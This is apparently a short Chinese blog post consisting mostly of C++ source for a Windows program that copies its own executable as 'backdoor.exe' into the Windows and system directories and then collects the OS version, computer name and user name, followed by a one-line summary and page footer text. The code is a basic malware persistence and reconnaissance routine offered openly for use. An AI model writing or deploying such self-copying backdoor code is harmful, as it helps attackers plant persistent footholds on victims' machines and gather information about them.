#include <iostream>
#include <cstdlib>
#include <cstdio>
#include <cstring>
#include <windows.h>
#include <tchar.h>
#include <winnt.h>
using namespace std;
void CopySelf()
{
TCHAR szSelfName[MAX_PATH]={0};
TCHAR szWindowsPath[MAX_PATH]={0};
TCHAR szSystemPath[MAX_PATH]={0};
GetModuleFileName(NULL,szSelfName,MAX_PATH);
GetWindowsDirectory(szWindowsPath,MAX_PATH);
GetSystemDirectory(szSystemPath,MAX_PATH);
_tcscat(szWindowsPath,L"\\backdoor.exe");
_tcscat(szSystemPath ,L"\\backdoor.exe");
CopyFile(szSelfName,szWindowsPath,false);
CopyFile(szSelfName,szSystemPath,false);
}
void GetSystemInfo()
{
TCHAR szComputerName[MAXBYTE]={0};
TCHAR szUserName[MAXBYTE]={0};
OSVERSIONINFO os;
int len=MAXBYTE;
os.dwOSVersionInfoSize=sizeof(os);
GetVersionEx(&os);
if(os.dwPlatformId==VER_PLATFORM_WIN32_NT)
{
if(os.dwMajorVersion==6&&os.dwMinorVersion==1)
cout<<"windows 7"<<endl;
else if(os.dwMajorVersion==5&&os.dwMinorVersion==0)
cout<<"windows 2k "<<endl;
}
else
{
cout<<"other system"<<endl;
}
GetComputerName(szComputerName,(DWORD *)&len);
printf("Computer name is %S\n",szComputerName);
GetUserName(szUserName,(DWORD *)&len);
printf("User name is %S\n",szUserName);
}
int main()
{
CopySelf();
GetSystemInfo();
return 0;
}拷贝自身文件与获得系统信息
最新推荐文章于 2024-10-26 23:52:53 发布
本文展示了一个使用C++编写的程序,该程序能够自我复制到Windows和系统目录,并获取当前操作系统的详细信息,如版本、计算机名和用户名。

344

被折叠的 条评论
为什么被折叠?



